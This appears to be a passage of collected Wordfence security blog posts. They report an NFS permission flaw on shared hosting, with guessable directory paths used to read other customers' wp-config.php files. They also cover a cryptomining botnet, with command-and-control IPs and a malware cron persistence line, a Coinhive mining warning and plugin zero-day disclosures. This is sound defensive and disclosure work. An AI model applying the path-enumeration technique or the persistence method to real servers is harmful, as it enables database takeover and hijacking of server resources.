  • Paragon Group (includes Vidahost, TSOHost, Webfaction and others)

Attacks and investigation

As time went by, we had groups of separate customers suffering identical attacks. At first they were locked out of their administrator account and a user from an unknown IP address had logged into it. Then they saw new administrator accounts appearing from nowhere. Later the attackers started to add malware, spam, or defacement messages to the blog posts or site titles.

In each case we had fairly complete forensic information available to us, but it didn’t lead to any answers about how it was happening. We thoroughly analyzed all of the site files, and didn’t find any malware. We set up detailed logging to show us exactly when the exploits were taking place, and then checked site access logs at those times, and still found nothing. Even the less-used avenues of attack like cron jobs and FTP accounts were clean.

Taken together, all signs pointed to the sites’ databases being compromised. If the attackers have direct access to the database, they can change the existing administrator account’s password, add new accounts, or tamper with site content. It would leave no signs in any of the site’s logs, and would not require them to save malware in any files.

But how were they getting access to the databases? On most hosting platforms, you can only reach the database server through a hosting control panel. Web applications like WordPress can reach it as well. But either way, you still need a site’s particular database username and password in order to make changes to that site. In virtually all WordPress sites, that username and password can only be found in one place: the wp-config.php file.

File permissions

With a shared hosting service, companies use one server to host dozens or even hundreds of websites. Each customer gets a user account on the server, and their site’s files belong to that account. Sometimes groups of users are created, and files may belong to a group as well. In short, every file and folder has both a user and a group which are considered the owners.

Server-level file permissions control who can do what to files and folders. In addition to assigned owners, every file and folder has three permissions settings:
– User (what can the owner do?)
– Group (what can the group do?)
– World (what can any user on the server do?)

It’s possible to make dangerous mistakes with permissions. For example, if you set your website directory to be world-writeable, then any other user on the server can create a file in it. Or, if your website directory and wp-config.php file are both world-readable, then any other user can read the contents of wp-config.php (which include your site’s database username and password). On most servers, PHP scripts run as the customer’s user account, so if a script belonging to user ‘bob’ tries to access a file, it will only succeed if that file’s permissions allow bob (or any of bob’s groups) to do so.

An important note: imagine a folder named home.  If your account has “read” permission on it, then you can list the contents of it.  If you don’t have “read” permission but you do have “traverse” permission, then you can work with any file or subfolder within home as long as you know their names and have appropriate permissions on them. For example, the server will not tell you that home contains a folder named public_html. But if you already know that public_html exists and you have access to it, then you can still work with it as long as you have “traverse” permission on home.

Network file systems

Managing shared hosting servers can be tricky. Years ago, the hosting company would set up a server with let’s say 500 GB of available disk space. They might choose to limit each customer to 1 GB of usage, and then they could only have 500 customers on that server. But many customers would use only a fraction of the space, resulting in wasted resources. If customers were simply allowed more disk space, the server’s disk might fill up.

Hosting companies have found several ways around this problem. One of them is to use a network file system (NFS) to house customers’ website files. In this setup, an internal group of servers works together to provide disk space, which is shared through the private network with the public-facing servers. So the server that runs your website thinks that it has a massive disk plugged into it, when really it’s just using the shared network drive.

Vulnerable conditions

This is where we found our customers with the mysterious hacks – their websites would run on a server with a network file system. Each of the three hosting platforms used NFS, and had a variation on the same problem. Three conditions existed which combined to make the platforms vulnerable:

  1. Customer files were stored on a shared file system (in this case, NFS).
  2. All directories in the shared file system were world-traversable, and customer files were world-readable by default.
  3. The full path to a customer’s website directory was public or could be guessed.

The vulnerable hosting platforms all stored their customers’ files on a shared file system. The topmost directories were owned by the server root account and not set to be world-readable, so regular user accounts were not able to list their contents. However, for various reasons, all directories were world-traversable.

When hackers compromise a website, it’s very common for them to try to explore the server and see if they can locate other websites where they can create files, or at least read the contents of sensitive files like wp-config.php. The vulnerable servers did not allow for listing of the shared file systems, but their customer directories were set up so that the names of customer directories could be guessed. At some point, the hackers realized this, so they were able to use one hacked site to read sensitive files out of many other sites.

Hostway

On Hostway, the site files were located in a directory structure like this:
/home/14/23/1012314/web

The /home folder contained dozens of directories, and each of those contained multiple directories like 1012314, all following the numerical naming convention. The folder 1012314 and everything in it belong to the user; the directories above it belong to the server root account.

If a hacker took over the website in 1012314, and tried to explore the server by listing /home, they would get a “permission denied” error. They would also be denied if they tried to list /home/14 or /home/14/23. However, they must have realized that all the customer directory names followed a certain pattern:

/home/XX/YY/ZZZYYXX/web

XX and YY are two-digit numbers, and ZZZ is a three-digit number. So the hacker, having compromised just one site, could run a script from it to try all possible numbers and try to list files in each path. For example, it might start with /home/00/00/0000000, then /home/00/00/0010000, etc. Any incorrect guesses would result in a “no such file or directory” error from the server. But when the script correctly guessed an existing directory belonging to some other customer, the server would duly list its contents – because all customer directories were world-readable by default, and all directories above them were world-traversable.

So the hacker could find all the directories in the shared file system, each of which housed at least one website. If the website happened to be WordPress, he could read wp-config.php and get its database username and password. And since he already has control of a legitimate website, he can use it to reach the database server.

Using this method, the hacker could tamper with the databases of virtually any WordPress site running on the same shared hosting platform. This would all happen through the original hacked site, and nothing would ever appear in the logs of the other sites.

Momentous

The Momentous server platform (Rebel et al.) had a similar problem. The names of directories in the network share were random numbers, like /nfsvol-c/54/54321, and they weren’t world-readable but were world-traversable.

But when a website was created, both the site’s directory and the user account associated with it were named after the site. For example, if you set up example.com, then you might end up in the directory /nfsvol-c/12/12345/example.com/public.

A hacker trying to list the contents of /nsfvol-c/12/12345 would be denied. But he would be able to list the contents of /nsfvol-c/12 and see that it contained a directory named 12345 belong to the user account example.com. So he could correctly guess that there was a directory located at /nsfvol-c/12/12345/example.com/public and read the files within it.

Paragon

Likewise, the Paragon platform (Vidahost, TSOHost, et al.) had site directories sorted alphabetically. If you set up example.com on their platform, its files would be in the directory /var/sites/e/example.com/public_html.

Finding other sites in this case was trickier, but still possible. An attacker could take over a site on a Paragon server, and use DNS tools to find other WordPress sites running on the same server IP address. For example, if they found that otherexample.com was running on that server, all they had to do was look in /var/sites/o/otherexample.com/public_html for the files.

Remediation

One of the worst things about this vulnerability was that there was little that a site owner could do to prevent exploitation. In theory, removing world-read permissions from wp-config.php would protect a site, but there was no way to guarantee that some script or process wouldn’t reset it to the default vulnerable permissions. Moreover, only a small minority of site owners would know the adjustment was necessary. The only reliable defense against the exploit was for the hosting companies to fix the vulnerability.

We first contacted Hostway about this in September. At the time we did not have a formal way of dealing with service vulnerabilities. In December we updated our vulnerability disclosure policy to include them. On December 15 we formally contacted Hostway under the new policy, giving them a 14 day disclosure deadline, as the vulnerability was being actively exploited. They deployed a fix on December 21.

We also notified Paragon on December 15. They replied that they were developing a patch already, and requested more time before we published details of the exploit. They didn’t notify us about a deployment, but we’ve noticed that our proof-of-concept code no longer works on their servers, so we assume the patch was deployed some time this month.

Momentous received the disclosure on January 2, and deployed a patch on January 15.

What you need to do

If you use shared hosting on any of the companies we mentioned, use Wordfence to check your site for issues. We’re still getting a few site cleaning cases each week where the customer’s site was exploited before the fix was deployed, and the malicious code has remained on their site since then. The most popular malware we saw was obfuscated Javascript code inserted into every post, like this:

Sometimes cryptomining code was loaded into the page, other times it simply redirected the user to a scareware or spam site as soon as they clicked on anything.

We also saw a lot of sites with cloaked pharma spam links scattered throughout the posts. Their format varied, making them tricky to remove.

If your site has these issues, we recommend using our site cleaning service to fix them.

Conclusion

We are pleased with the positive impact adding service vulnerabilities to our Vulnerability Disclosure Policy is already having. The hosting companies we have worked with have been generally responsive, deploying fixes to issues that were causing many WordPress sites to be hacked.

With the popularity of WordPress today, the security of the WordPress community at large is critically important. We are pleased to see that our new approach is working to support that need and bringing about an improved overall security posture for the community.

Our Security Services Team continues to analyze hundreds of hacked websites each month, so we expect to find more of these on an ongoing basis. We will continue to provide updates here on the blog.

The post Service Vulnerabilities: 3 Hosting Companies Fix NFS Permissions Problem appeared first on Wordfence.

Read More

Massive Cryptomining Campaign Targeting WordPress Sites

On Monday we wrote about the massive spike in brute force attacks on WordPress sites that we observed. As reported, it was the most intense period of attacks we had ever recorded. We believe that a single botnet is behind the attacks.

We were able to isolate the IP addresses from the botnet and then compare them to the IPs from our most recent site cleaning orders. As luck would have it, we got a couple of hits. This afforded us the amazing opportunity to dig in and find out what the attacker is up to, and what we found is really interesting.

Note: The following section is a very technical deep dive into what we have learned about what the attacker is up to. Otherwise, feel free to jump straight to the ‘findings summary’ section below.

What the Attack Is Up To

Most of our investigation came from one site cleaning case. It started when our customer’s hosting company received an abuse complaint, including logs of failed WordPress login attempts from the customer’s server. The server had performed enough attacks to land on our IP blacklist, with over 100,000 attempts on Monday alone.

The server was a managed VPS. The customer was able to give us root access, which allowed us to do some deeper analysis of the processes running on the server. We started our investigation and found quite a mess.

The server’s CPU resources were being consumed by long-running Apache processes, as well as one strange process named “29473” using more resources than everything else.

We also observed thousands of connections from the server going out to port 80 on other servers:

In other words, our customer’s server (the IP address starting with 172) was connecting out to thousands of other web servers.

We also found that “29473” was holding connections open to two IP addresses:

  • 66.70.190.236 on port 9090. This Canadian IP address belongs to OVH, a cloud computing based in France. It does not appear to have a domain name associated with it, nor any historical domain name data. We scanned it and found only two ports open: one running SSH and port 9090 apparently running an IRC server.
  • 185.61.149.22 on port 8080. This IP address belongs to a network named “Makonix SIA” in Latvia. It didn’t have any domains associated with it either. Our network scan found several ports open. One was an SSH server, and the rest seemed to be web servers which answered all requests with the text “Mining Proxy Online.”

At this point we know the broad strokes of the attacker’s activity on this server. Communications with an IRC server are likely to be command and control (C&C). A process which has consumed enormous amounts of processing power and communicating with a “mining proxy” has to be a cryptocurrency miner, almost certainly for Monero, since it can be mined using regular processors instead of graphics processors. And connections to other web servers are likely to be the WordPress brute force attacks that we know are originating from this server.

The rest of the investigation revealed even more details.

Command & Control

We used tcpdump to record network traffic while we collected the files and dumped memory of running processes. We were able to capture quite a bit of C&C traffic, and since it’s unencrypted IRC traffic, we investigated it to further understand what the attackers are doing. Based on the traffic and analysis of some samples we recovered, the malware appears to be a variant of “Tsunami” or “Kaiten.”

Servers

We identified eight C&C servers, all running the IRC daemon on port 8080 or 9090. Each one had a name that followed a pattern, for example the first four servers in the list are all hosted at OVH, and their names are muhstik.ovh1 through muhstik.ovh4.

  • 66.70.190.236:9090 muhstik.ovh1
  • 142.44.163.168:9090 muhstik.ovh2
  • 192.99.71.250:9090 muhstik.ovh3
  • 142.44.240.14:9090 muhstik.ovh4
  • 202.165.193.211:8080 x.1
  • 202.165.193.212:8080 x.2
  • 211.103.199.98:8080 x.4
  • 121.128.171.44:9090 muhstik.ras1

Protocol

The command protocol is fairly straightforward. The malware joins the IRC server and sets its username to a string that includes some information about the server on which it’s running. Below is a screenshot from one of our packet captures showing the hacked server’s traffic in red, and the C&C server’s traffic in blue. In that example, the nickname includes “x86” (showing that it’s not a 64-bit server) and the hostname (which we have redacted). The malware receives instructions via private messages from other bots or users.

The server seems to be lax about connections; it seems the only authentication it requires is to follow the right format when joining and setting the nickname, responding to messages, etc.

Commands

The majority of the commands coming from the attacker were like the ones in the screenshot – download a script from some server, and then run it silently. The commands are sent at regular intervals, and cycle through a few different methods of downloading the script (wget, curl, etc.). It seems these commands are just sent automatically, probably to make sure the malicious script gets restarted if it happens to crash or be terminated.

We saw a few other commands meant to gather information about the compromised server. Some of them seemed like automated status checks, but we did notice some manual activity. At one point, the attacker sent the command “iptime” and then a moment later sent the correct spelling, “uptime.”

The attacker seems to have compiled their own version of the cryptomining software, but we did see a few instances where they sent commands to manually run cryptominers – more on that below.

Malware Behavior/ Persistence

This malware was not a rootkit – it runs as a regular user account, thankfully. It still tries to be as stealthy as possible. When it starts, it spawns a copy of itself but with a different name, probably chosen at random from files around the server. For example, we mentioned it running under the name “29473,” but we also observed it as “python” and several other common programs.

We found several different variations of the malware. Most of them were designed so that when they’re started up, they delete their own file from the disk. That way, antivirus software won’t identify them (unless it scans programs in memory as well).

For persistence, the malware installed itself as a cron job to run every second:

* * * * * /var/www/vhosts/[redacted].com/wp-content/plugins/bash > /dev/null 2>&1 &

It also listened for connections on high TCP ports (e.g. 61008 and 63008), but we didn’t observe any traffic to those ports.

Brute Force Attacks

Of course, the malware is also responsible for the brute force attacks. Based on our observations, it uses a combination of common password lists and heuristics based on the domain name and contents of the site that it attacks – including names, usernames, and words. For example, on wordfence.com, it would attempt usernames like “admin” and passwords like “123456.” But it would also attempt “wordfence,” “mark,” and so on.

We also observed it attacking sites running on non-standard ports, using only an IP address rather than a domain name – so don’t think your site is safe from attack just because it’s hidden away somewhere.

In fact, that’s how they compromised our customer’s server.

Their dev site was hosted on the same server with a couple of their production sites, and that compromise started everything. The customer hadn’t installed Wordfence on the dev site; if they had, it could have prevented or at least alerted on the administrator login, and even our free signatures detect the backdoors that the attackers added.

The attackers also infected most of the sites’ PHP files with a single, long line:

Wordfence would have detected this as well.

Cryptocurrency Mining

Some of the malware samples contained the Monero mining software XMRig. In most cases, the attacker configured it to run through one of several proxies, so we don’t know the wallet address associated with the miners. But in a few instances, the attacker manually ran mining commands pointed at pool.supportxmr.com, and included the wallet address. The two addresses we observed were 45Fj1P2s9LiVEVoW4p81cSKP5og6GSF3m9YUQc51o6KzXw1ByufNoTa88NEWBeE7dtjRZRCDj3Ly4a95by6sfzP3UmX3741 and 4ADnikPPkTpD39LunWcMA136o2m2uwnEhheKNmfQPv5kAFsQaxr2VsLeit5GEPdEkd9TxnAkzinWhK8LUFzxmTuc5rT1YDK. You can enter these at supportxmr.com and see their recent performance statistics as well as their payout history:

Suddenly the reason for the frenzied brute-force attacks becomes very clear. At the beginning of this month, the price of Monero had barely broken $200. But its value has since skyrocketed, reaching $378 the day before the attacks started. Monero is designed so that it can be mined by regular CPUs, but that’s still not easy. Even for a hacker using compromised servers, the return on mining wasn’t that great – until recently.

These two addresses, which surely represent only a fraction of this attacker’s mining power, together have received about 217 XMR. At the time of this post, that’s worth almost $100,000. The attacker has decided to go all-in on mining using compromised servers, and he’s trying to compromise as many servers as he can.

Findings Summary

To summarize, the attacker is leveraging sophisticated malware to control compromised WordPress servers remotely. The servers are being used to both attack other WordPress sites and to mine for Monero, a cryptocurrency that can be efficiently mined using web server hardware. We discovered evidence showing that the attacker has earned almost $100,000 from mining already, and likely quite a lot more.

An Update on Attack Volumes

Since we initially reported this new brute force attack campaign on Monday, the attack volumes we are seeing have been extremely volatile. We now know that the attacker is using compromised WordPress sites to both launch attacks and mine cryptocurrency, so we theorize that they’re tweaking the resource allocation between the two tasks.

Today in the early morning hours UTC (early evening PST) we saw attack volumes spike again, but we were relieved to see them settle down before they could eclipse our previous peak. What’s scary, though, is that the number of attacking IPs surpassed the previous high, suggesting that the attacker’s botnet has the capacity to dial up volume beyond the peak we saw on Monday, but is choosing to use some of those resources for cryptomining.

 

Recommendations

There are a number of things you can do to make sure your site hasn’t been compromised by this attacker and to insure that it won’t be later.

  1. Run a Wordfence scan – the PHP malware that we found on the sites we analyzed are detected by Wordfence, including the free version.
  2. Check your server resources – the Monero-mining the attacker is doing will use as many CPU resources as it possibly can. If you have the ability to check your site’s resource usage, you can verify if CPU usage is within normal levels. If you have command line access to your server, you can use the utility `htop` to see which processes are using the most CPU.
  3. Harden your site against brute force attacks – if you haven’t already done so, we provided a list of suggestions in our post on Monday.
  4. Monitor blacklists – if your site is attacking other sites, it will likely be blacklisted quickly.
  5. Act quickly if compromised – If you have been infected, you will want to clean your site immediately, as your domain and IP address reputations are going to be damaged very quickly if your site is being used to attack other sites.

We will keep a close eye on this and publish updates as the story develops.

The post Massive Cryptomining Campaign Targeting WordPress Sites appeared first on Wordfence.

Read More

Cryptocurrency Miners Exploiting WordPress Sites

During the last month, the information security media has paid a lot of attention to cryptocurrency mining malware. The Wordfence team has been monitoring the situation, and we are now starting to see attacks attempting to upload mining malware, and site cleaning customers that are already infected.

In this post, you’ll learn what cryptocurrency mining is, what’s in it for the attackers, how to check if you have this issue and what to do about it if you do.

Cryptocurrency Mining Attacks on WordPress

For those of you who aren’t up to speed, cryptocurrencies are digital currencies that can act as an alternative to traditional currencies. Examples include Bitcoin, Litecoin, Ethereum and Monero, among many others. Cryptocurrency mining is a computationally intense process that contributes to the operations of the cryptocurrency network while generating new currency. It takes a massive amount of computer resources to generate meaningful income. People interested in cryptocurrency mining generally need to invest in expensive equipment and solve for the power consumption and heat generated by hardware.

Recently online platforms have emerged that allow website owners to harness the computing power of their website visitors to mine cryptocurrency. Website owners simply sign up for an account and add some JavaScript to their site. The downside is that their visitors’ experience is likely quite poor as their computer resources are then put to work mining. It is debatable whether website visitors will ever view this practice favorably, but it will be interesting to watch the trend evolve.

We saw the first attack on a WordPress site attempting to embed cryptocurrency mining code on September 17. Attack volume has been very low and unsophisticated so far. However, our Security Services Team is starting to see hacked websites with this malware, so the attackers are starting to have some success.

The attacks we have analyzed are all trying to exploit well-known security vulnerabilities that have been around for a long time; for example, the Gravity Forms exploit from mid-2016, or the Joomla com_jce exploit from early 2014. We have also seen quite a few attempts to insert mining code using compromised WordPress administrator accounts, as well as some attacks using compromised FTP accounts.

How Attackers Profit From Cryptocurrency Mining Malware

Attackers are embedding Javascript code from Coinhive on websites they have compromised. Coinhive provides a way to mine a cryptocurrency known as Monero. Monero differs from other cryptocurrencies like Bitcoin, in that it does not give miners who use GPUs or other specialized hardware a significant computational advantage. That means it is well-suited to use in web browsers, executing as JavaScript on consumer CPUs.

Site owners who place the Coinhive code on their websites earn Monero currency. The Coinhive code uses site visitors’ computational resources to mine Monero. An attacker can place the Coinhive code on thousands of websites and earn Monero from the mining that happens in site visitors’ browsers.

The following is an example of embedded Coinhive code that will mine Monero currency:

The research team at Checkpoint analyzed the profit potential for an attacker planting this malware. They concluded that an attacker successful enough to average 1,000 concurrent users across all infected sites would generate $2,398 in monthly revenue.

We think these attacks will grow in popularity very quickly given how lucrative they are. Attacks that attempt to embed cryptomining malware are currently unsophisticated, but we expect to see an increase in the sophistication of attacks as word gets out that this is a lucrative enterprise. We also expect these attacks to target higher-traffic websites, since the potential to profit increases greatly with higher numbers of concurrent site visitors.

How to Check if Your Site Is Infected With Cryptocurrency Mining Malware

The Wordfence firewall blocks attacks attempting to infect sites with this malware. We have added detection capability to Wordfence for cryptominer scripts. This means that the scanner will warn you if it detects this type of script on your site. It also means that the Wordfence firewall will block any uploads that contain the script.

Wordfence Premium customers currently already have access to this detection capability. Free users will get access to this capability on November 24 via the Community version of the Threat Defense Feed.

It is important to make sure you detect an infection quickly if an attacker should manage to slip through your defenses. Below is an example of a scan finding that would indicate this infection exists on your site.

We have also added detection capabilities to Gravityscan. To run a scan on your site, simply go to the Gravityscan website and run a scan. For best results we recommend that you install the Gravityscan Accelerator.

Below is a scan finding example from Gravityscan.

(If you have intentionally added a cryptominer script to your site, of course, you can simply ignore the finding on either platform.)

Some cryptomining malware may be more hidden or obfuscated, so always pay attention if many of your visitors start reporting poor performance by their browser or computer while visiting your site.

A few hackers have adjusted the miner settings so that it only uses only a portion of the available CPU power, or so that only one instance of the miner script can run at a time (even if it’s open in multiple tabs).

But many of them are still set to use 100% of available resources, no matter what.

 

Changes in Attacker Business Models

New business models are constantly emerging for attackers. Historically, attackers would use compromised websites to generate spam content or spam email. In the past decade, ransomware has gained popularity among attackers, as it allows them to extort money from  victims. More recently, using stolen computational resources to mine cryptocurrency has emerged as a way for bad actors to profit from compromised systems.

This emerging business model has now made its way into the WordPress ecosystem as a way for attackers to profit from compromised WordPress websites and the computational resources of website visitors. It is imperative that WordPress site owners deploy a firewall and malware scan on their sites to quickly detect this new threat and ensure that their site visitors’ resources are not hijacked to mine cryptocurrency.

What to Do If Your Site Is Infected With Cryptocurrency Mining Malware

The most reliable way to recover if your website is hacked is to use our site cleaning service. Our team of experts will clean your site and get it back online as quickly as possible, and the service includes a detailed report and a 90-day guarantee. You can also use the Wordfence site security audit to do a comprehensive security inspection of your website.

If you prefer to try to fix any infection yourself, you can follow our guide to fixing a hacked website with Wordfence.

The post Cryptocurrency Miners Exploiting WordPress Sites appeared first on Wordfence.

Read More

Zero Day Vulnerability Fixed in Ultimate Form Builder Lite

Last month, we identified three plugins with critical object injection vulnerabilities, all being exploited in the wild. We deployed new and improved firewall rules to block that kind of exploit.

While analyzing our attack data, we recently discovered that hackers were actively exploiting a similar vulnerability in the Contact Form for WordPress – Ultimate Form Builder Lite plugin by AccessPress Themes. The plugin has 50,000 active installations according to WordPress.org.

The exploit being used combines a SQL injection vulnerability and a PHP object injection vulnerability. It allows attackers to take over a vulnerable site using just one request to /wp-admin/admin-ajax.php.

We notified the plugin’s author on October 13th, when we found the problem. We also deployed firewall rules on October 13th to protect Wordfence Premium customers, within an hour of discovering the issue and notifying the author.

The author has fixed this vulnerability in an update, version 1.3.7, which was released yesterday, October 23rd.

CVSS Score: 9.8 (Critical)

What To Do

We published a firewall rule to block this exploit within an hour of finding it, on October 13. If you are running the Premium version of Wordfence and have the firewall enabled, this rule is already protecting you.

Free users of Wordfence and paid users who have the Wordfence firewall disabled and are running this plugin should update to version 1.3.7 immediately. This firewall rule will become available to free Wordfence users on November 12th.

 

The post Zero Day Vulnerability Fixed in Ultimate Form Builder Lite appeared first on Wordfence.

Read More

3 Zero-Day Plugin Vulnerabilities Being Exploited In The Wild

As part of our site cleaning service, our security analysts track down the method the attacker used to compromise the site. Often this involves quite a bit of investigative work, and recently it led us to find 0-day exploits in three separate plugins. The exploits were elusive: a malicious file seemed to appear out of nowhere, and even sites with access logs only showed a POST request to /wp-admin/admin-ajax.php at the time the file was created. But we captured the attacks in our threat data, and our lead developer Matt Barry was able to reconstruct the exploits. We quickly pushed new WAF rules to block these exploits. Premium customers received the new rules and were protected immediately. We also notified the plugin authors; all three have published updates to fix the vulnerabilities.

PHP Object Injection Vulnerability Severity 9.8 (Critical) in Appointments, RegistrationMagic-Custom Registration Forms, and Flickr Gallery

Affected plugins and versions:

This vulnerability allowed attackers to cause a vulnerable website to fetch a remote file (a PHP backdoor) and save it to a location of their choice. It required no authentication or elevated privileges. For sites running Flickr Gallery, the attackers only had to send the exploit as POST request to the site’s root URL. For the other two plugins, the request would go to admin-ajax.php. If the attacker was able to access their backdoor, they could completely take over the vulnerable site.

CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

What To Do

If you are running the Premium version of Wordfence and have the firewall enabled, our new firewall rules are already protecting you. Free users of Wordfence and paid users who have the Wordfence firewall disabled and are running these plugins should update to the most recent versions immediately.

The post 3 Zero-Day Plugin Vulnerabilities Being Exploited In The Wild appeared first on Wordfence.

Read More